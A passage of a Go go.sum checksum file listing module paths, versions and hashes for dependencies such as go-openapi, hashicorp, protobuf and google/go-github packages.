h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk= github.com/go-openapi/swag v0.19.7/go.mod h1:ao+8BpOPyKdpQz3AOJfbeEVpLmWAvlT1IfTe5McPyhY= github.com/go-openapi/swag v0.19.9/go.mod h1:ao+8BpOPyKdpQz3AOJfbeEVpLmWAvlT1IfTe5McPyhY= github.com/go-openapi/swag v0.19.12/go.mod h1:eFdyEBkTdoAf/9RXBvj4cr1nH7GD8Kzo5HTt47gr72M= github.com/go-openapi/swag v0.19.13/go.mod h1:QYRuS/SOXUCsnplDa677K7+DxSOj6IPNl/eQntq43wQ= github.com/go-openapi/swag v0.19.14/go.mod h1:QYRuS/SOXUCsnplDa677K7+DxSOj6IPNl/eQntq43wQ= github.com/go-openapi/swag v0.19.15 h1:D2NRCBzS9/pEY3gP9Nl8aDqGUcPFrwG2p+CNFrLyrCM= github.com/go-openapi/swag v0.19.15/go.mod h1:QYRuS/SOXUCsnplDa677K7+DxSOj6IPNl/eQntq43wQ= github.com/go-openapi/validate v0.18.0/go.mod h1:Uh4HdOzKt19xGIGm1qHf/ofbX1YQ4Y+MYsct2VUrAJ4= github.com/go-openapi/validate v0.19.2/go.mod h1:1tRCw7m3jtI8eNWEEliiAqUIcBztB2KDnRCRMUi7GTA= github.com/go-openapi/validate v0.19.3/go.mod h1:90Vh6jjkTn+OT1Eefm0ZixWNFjhtOH7vS9k0lo6zwJo= github.com/go-openapi/validate v0.19.10/go.mod h1:RKEZTUWDkxKQxN2jDT7ZnZi2bhZlbNMAuKvKB+IaGx8= github.com/go-openapi/validate v0.19.12/go.mod h1:Rzou8hA/CBw8donlS6WNEUQupNvUZ0waH08tGe6kAQ4= github.com/go-openapi/validate v0.19.15/go.mod h1:tbn/fdOwYHgrhPBzidZfJC2MIVvs9GA7monOmWBbeCI= github.com/go-openapi/validate v0.20.0/go.mod h1:b60iJT+xNNLfaQJUqLI7946tYiFEOuE9E4k54HpKcJ0= github.com/go-openapi/validate v0.20.1/go.mod h1:b60iJT+xNNLfaQJUqLI7946tYiFEOuE9E4k54HpKcJ0= github.com/go-openapi/validate v0.20.2/go.mod h1:e7OJoKNgd0twXZwIn0A43tHbvIcr/rZIVCbJBpTUoY0= github.com/go-openapi/validate v0.20.3 h1:GZPPhhKSZrE8HjB4eEkoYAZmoWA4+tCemSgINH1/vKw= github.com/go-openapi/validate v0.20.3/go.mod h1:goDdqVGiigM3jChcrYJxD2joalke3ZXeftD16byIjA4= github.com/go-playground/assert/v2 v2.0.1/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= github.com/go-playground/locales v0.13.0/go.mod h1:taPMhCMXrRLJO55olJkUXHZBHCxTMfnGwq/HNwmWNS8= github.com/go-playground/universal-translator v0.17.0/go.mod h1:UkSxE5sNxxRwHyU+Scu5vgOQjsIJAF8j9muTVoKLVtA= github.com/go-playground/validator/v10 v10.2.0/go.mod h1:uOYAAleCW8F/7oMFd6aG0GOhaH6EGOAJShg8Id5JGkI= github.com/go-playground/validator/v10 v10.4.1/go.mod h1:nlOn6nFhuKACm19sB/8EGNn9GlaMV7XkbRSipzJ0Ii4= github.com/go-sql-driver/mysql v1.4.0/go.mod h1:zAC/RDZ24gD3HViQzih4MyKcchzm+sOG5ZlKdlhCg5w= github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= github.com/go-sql-driver/mysql v1.5.1-0.20200311113236-681ffa848bae/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= github.com/go-stack/stack v1.8.1 h1:ntEHSVwIt7PNXNpgPmVfMrNhLtgjlmnZha2kOpuRiDw= github.com/go-stack/stack v1.8.1/go.mod h1:dcoOX6HbPZSZptuspn9bctJ+N/CnF5gGygcUP3XYfe4= github.com/gobuffalo/attrs v0.0.0-20190224210810-a9411de4debd/go.mod h1:4duuawTqi2wkkpB4ePgWMaai6/Kc6WEz83bhFwpHzj0= github.com/gobuffalo/depgen v0.0.0-20190329151759-d478694a28d3/go.mod h1:3STtPUQYuzV0gBVOY3vy6CfMm/ljR4pABfrTeHNLHUY= github.com/gobuffalo/depgen v0.1.0/go.mod h1:+ifsuy7fhi15RWncXQQKjWS9JPkdah5sZvtHc2RXGlg= github.com/gobuffalo/envy v1.6.15/go.mod h1:n7DRkBerg/aorDM8kbduw5dN3oXGswK5liaSCx4T5NI= github.com/gobuffalo/envy v1.7.0/go.mod h1:n7DRkBerg/aorDM8kbduw5dN3oXGswK5liaSCx4T5NI= github.com/gobuffalo/flect v0.1.0/go.mod h1:d2ehjJqGOH/Kjqcoz+F7jHTBbmDb38yXA598Hb50EGs= github.com/gobuffalo/flect v0.1.1/go.mod h1:8JCgGVbRjJhVgD6399mQr4fx5rRfGKVzFjbj6RE/9UI= github.com/gobuffalo/flect v0.1.3/go.mod h1:8JCgGVbRjJhVgD6399mQr4fx5rRfGKVzFjbj6RE/9UI= github.com/gobuffalo/genny v0.0.0-20190329151137-27723ad26ef9/go.mod h1:rWs4Z12d1Zbf19rlsn0nurr75KqhYp52EAGGxTbBhNk= github.com/gobuffalo/genny v0.0.0-20190403191548-3ca520ef0d9e/go.mod h1:80lIj3kVJWwOrXWWMRzzdhW3DsrdjILVil/SFKBzF28= github.com/gobuffalo/genny v0.1.0/go.mod h1:XidbUqzak3lHdS//TPu2OgiFB+51Ur5f7CSnXZ/JDvo= github.com/gobuffalo/genny v0.1.1/go.mod h1:5TExbEyY48pfunL4QSXxlDOmdsD44RRq4mVZ0Ex28Xk= github.com/gobuffalo/gitgen v0.0.0-20190315122116-cc086187d211/go.mod h1:vEHJk/E9DmhejeLeNt7UVvlSGv3ziL+djtTr3yyzcOw= github.com/gobuffalo/gogen v0.0.0-20190315121717-8f38393713f5/go.mod h1:V9QVDIxsgKNZs6L2IYiGR8datgMhB577vzTDqypH360= github.com/gobuffalo/gogen v0.1.0/go.mod h1:8NTelM5qd8RZ15VjQTFkAW6qOMx5wBbW4dSCS3BY8gg= github.com/gobuffalo/gogen v0.1.1/go.mod h1:y8iBtmHmGc4qa3urIyo1shvOD8JftTtfcKi+71xfDNE= github.com/gobuffalo/logger v0.0.0-20190315122211-86e12af44bc2/go.mod h1:QdxcLw541hSGtBnhUc4gaNIXRjiDppFGaDqzbrBd3v8= github.com/gobuffalo/mapi v1.0.1/go.mod h1:4VAGh89y6rVOvm5A8fKFxYG+wIW6LO1FMTG9hnKStFc= github.com/gobuffalo/mapi v1.0.2/go.mod h1:4VAGh89y6rVOvm5A8fKFxYG+wIW6LO1FMTG9hnKStFc= github.com/gobuffalo/packd v0.0.0-20190315124812-a385830c7fc0/go.mod h1:M2Juc+hhDXf/PnmBANFCqx4DM3wRbgDvnVWeG2RIxq4= github.com/gobuffalo/packd v0.1.0/go.mod h1:M2Juc+hhDXf/PnmBANFCqx4DM3wRbgDvnVWeG2RIxq4= github.com/gobuffalo/packr/v2 v2.0.9/go.mod h1:emmyGweYTm6Kdper+iywB6YK5YzuKchGtJQZ0Odn4pQ= github.com/gobuffalo/packr/v2 v2.2.0/go.mod h1:CaAwI0GPIAv+5wKLtv8Afwl+Cm78K/I/VCm/3ptBN+0= github.com/gobuffalo/syncx v0.0.0-20190224160051-33c29581e754/go.mod h1:HhnNqWY95UYwwW3uSASeV7vtgYkT2t16hJgV3AEPUpw= github.com/gogo/googleapis v1.1.0/go.mod h1:gf4bu3Q80BeJ6H1S1vYPm8/ELATdvryBaNFGgqEef3s= github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= github.com/gogo/protobuf v1.2.0/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= github.com/golang/groupcache v0.0.0-20160516000752-02826c3e7903/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.4.3 h1:JjCZWpVbqXDqFVmTfYWEVTMIYrL/NPdPSCHPJ0T/raM= github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/golang/snappy v0.0.1/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/go-github/v48 v48.1.0 h1:nqPqq+0oRY2AMR/SRskGrrP4nnewPB7e/m2+kbT/UvM= github.com/google/go-github/v48 v48.1.0/go.mod h1:dDlehKBDo850ZPvCTK0sEqTCVWcrGl2LcDiajkYi89Y= github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck= github.com/google/go-querystring v1.1.0 h1:AnCroh3fv4ZBgVIf1Iwtovgjaw/GiKJo8M8yD/fhyJ8= github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.2.0 h1:qJYtXnJRWmpe7m/3XlyhrsLrEURqHRM2kxzoxXqyUDs= github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= github.com/goombaio/namegenerator v0.0.0-20181006234301-989e774b106e/go.mod h1:AFIo+02s+12CEg8Gzz9kzhCbmbq6JcKNrhHffCGA9z4= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= github.com/gorilla/context v1.1.1/go.mod h1:kBGZzfjB9CEq2AlWe17Uuf7NDRt0dE0s8S51q0aT7Yg= github.com/gorilla/mux v1.6.2/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs= github.com/gorilla/mux v1.7.3/go.mod h1:1lud6UwP+6orDFRuTfBEV8e9/aOM/c4fVVCaMa2zaAs= github.com/gorilla/websocket v0.0.0-20170926233335-4201258b820c/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ= github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs= github.com/grpc-ecosystem/go-grpc-middleware v1.0.1-0.20190118093823-f849b5445de4/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs= github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk= github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= github.com/grpc-ecosystem/grpc-gateway v1.9.5/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q= github.com/hashicorp/consul/api v1.3.0/go.mod h1:MmDNSzIMUjNpY/mQ398R4bk2FnqQLoPndWW5VkKPlCE= github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8= github.com/hashicorp/consul/sdk v0.3.0/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8= github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= github.com/hashicorp/go-hclog v0.14.1/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM= github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk= github.com/hashicorp/go-plugin v1.4.2/go.mod h1:5fGEH17QVwTTcR0zV7yhDPLLmFX9YSZ38b18Udy6vYQ= github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU= github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU= github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4= github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= github.com/hashicorp/go-version v1.2.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= github.com/hashicorp/go-version v1.2.1/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= github.com/hashicorp/go-version v1.3.0 h1:McDWVJIU/y+u1BRV06dPaLfLCaT7fUTJLp5r04x7iNw= github.com/hashicorp/go-version v1.3.0/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90= github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64= github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ= github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I= github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc= github.com/hashicorp/yamux v0.0.0-20180604194846-3520598351bb/go.mod h1:+NfK9FKeTrX5uv1uIXGdwYDTeHna2qgaIlx54MXqjAM= github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A= github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= github.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE= github.com/hudl/fargo v1.3.0/go.mod h1:y3CKSmjA+wD2gak7sUSXTAoopbhU08POFhmITJgmKTg= github.com/imdario/mergo v0.3.12/go.mod h1:jmQim1M+e3UYxmgPu/WyfjB3N3VflVyUjjjwH0dnCYA= github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= github.com/influxdata/go-syslog/v3 v3.0.0/go.mod h1:tulsOp+CecTAYC27u9miMgq21GqXRW6VdKbOG+QSP4Q= github.com/influxdata/influxdb1-client v0.0.0-20191209144304-8bf82d3c094d/go.mod h1:qj24IKcXYK6Iy9ceXlo3Tc+vtHo9lIhSX5JddghvEPo= github.com/jessevdk/go-flags v1.4.0/go.mod h1:4FA24M0QyGHXBuZZK/XkWh8h0e1EYbRYJSGM75WSRxI= github.com/jhump/protoreflect v1.6.0/go.mod h1:eaTn3RZAmMBcV0fifFvlm6VHNz3wSkYyXYWUh7ymB74= github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k= github.com/jmespath/go-jmespath v0.4.0/go.mod h1:T8mJZnbsbmF+m6zOOFylbeCJqk5+pHWvzYPziyZiYoo= github.com/jmespath/go-jmespath/internal/testify v1.5.1/go.mod h1:L3OGu8Wl2/fWfCI6z80xFu9LTZmf1ZRjMHUOPmWr69U= github.com/joho/godotenv v1.3.0/go.mod h1:7hK45KPybAkOC6peb+G5yklZfMxEjkZhHbwpqxOKXbg= github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo= github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY= github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y= github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= github.com/json-iterator/go v1.1.7/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.8/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU= github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM= github.com/karrick/godirwalk v1.8.0/go.mod h1:H5KPZjojv4lE+QYImBI8xVtrBRgYrIVsaRPx4tDPEn4= github.com/karrick/godirwalk v1.10.3/go.mod h1:RoGL9dQei4vP9ilrpETWE8CLOZ1kiN0LhBygSwrAsHA= github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8= github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= github.com/kisielk/errcheck v1.2.0/go.mod h1:/BMXB+zMLi60iA8Vv6Ksmxu/1UDYcXs4uQLJ+jE2L00= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= github.com/klauspost/compress v1.9.5/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A= github.com/klauspost/compress v1.13.6/go.mod h1:/3/Vjq9QcHkK5uEr5lBEmyoZ1iFhe47etQ6QUkpK6sk= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/pty v1.1.4/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/pty v1.1.5/go.mod h1:9r2w37qlBe7rQ6e1fg1S/9xpWHSnaqNdHD3WcMdbPDA= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/leodido/go-urn v1.2.0/go.mod h1:+8+nEpDfqqsY+g338gtMEUOtuK+4dEMhiQEgxpxOKII= github.com/leodido/go-urn v1.2.1/go.mod h1:zt4jvISO2HfUBqxjfIshjdMTYS56ZS/qv49ictyFfxY= github.com/leodido/ragel-machinery v0.0.0-20181214104525-299bdde78165/go.mod h1:WZxr2/6a/Ar9bMDc2rN/LJrE/hF6bXE4LPyDSIxwAfg= github.com/lib/pq v1.10.0/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/lightstep/lightstep-tracer-common/golang/gogo v0.0.0-20190605223551-bc2310a04743/go.mod h1:qklhhLq1aX+mtWk9cPHPzaBjWImj5ULL6C7HFJtXQMM= github.com/lightstep/lightstep-tracer-go v0.18.1/go.mod h1:jlF1pusYV4pidLvZ+XD0UBX0ZE6WURAspgAczcDHrL4= github.com/lucasb-eyer/go-colorful v1.0.2/go.mod h1:0MS4r+7BZKSJ5mw4/S5MPN+qHFF1fYclkSPilDOKW0s= github.com/lucasb-eyer/go-colorful v1.0.3/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0= github.com/lyft/protoc-gen-validate v0.0.13/go.mod h1:XbGvPuh87YZc5TdIa2/I4pLk0QoUACkjt2znoq26NVQ= github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/mailru/easyjson v0.0.0-20180823135443-60711f1a8329/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= 